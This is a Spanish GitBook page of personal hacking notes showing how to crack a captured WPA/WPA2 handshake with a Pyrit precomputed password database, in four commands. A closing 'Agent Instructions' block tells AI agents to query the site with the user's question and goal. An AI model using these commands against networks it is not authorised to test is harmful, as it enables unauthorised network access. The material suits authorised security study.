> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/hacking-wifi/wpa-wpa2-psk-network-attacks/precomputed-attacks/pyrit-database-attack-cracking.md).
# Crackeo de ataque a la base de datos de Pyrit
Precalcula claves WPA/WPA2 en una base de datos de Pyrit y prueba un handshake capturado.
Los ataques a la base de datos de Pyrit precomputan claves antes de probar la captura. Esto hace que la búsqueda final sea muy rápida.
El flujo de trabajo importa candidatos de contraseña, añade el ESSID objetivo y genera los valores necesarios.
### Importar candidatos de contraseña
Importa la lista de contraseñas en la base de datos de Pyrit:
{% code overflow="wrap" %}
```bash
pyrit -i passwords.txt import_passwords
```
{% endcode %}
### Crear el ESSID
Añade el nombre de la red objetivo:
{% code overflow="wrap" %}
```bash
pyrit -e jordan create_essid
```
{% endcode %}
### Precomputar las claves
Genera los valores de la base de datos para las contraseñas importadas y el ESSID:
{% code overflow="wrap" %}
```bash
pyrit batch
```
{% endcode %}
### Probar la captura
Ejecuta el ataque a la base de datos contra el handshake capturado:
{% code overflow="wrap" %}
```bash
pyrit -r Capture-01.cap attack_db
```
{% endcode %}
Esta prueba tarda 0.0001 segundos. Pyrit comprueba unos 93 millones de contraseñas por segundo.
La base de datos precomputada evita calcular cada contraseña durante la búsqueda final.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/es/hacking-wifi/wpa-wpa2-psk-network-attacks/precomputed-attacks/pyrit-database-attack-cracking.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
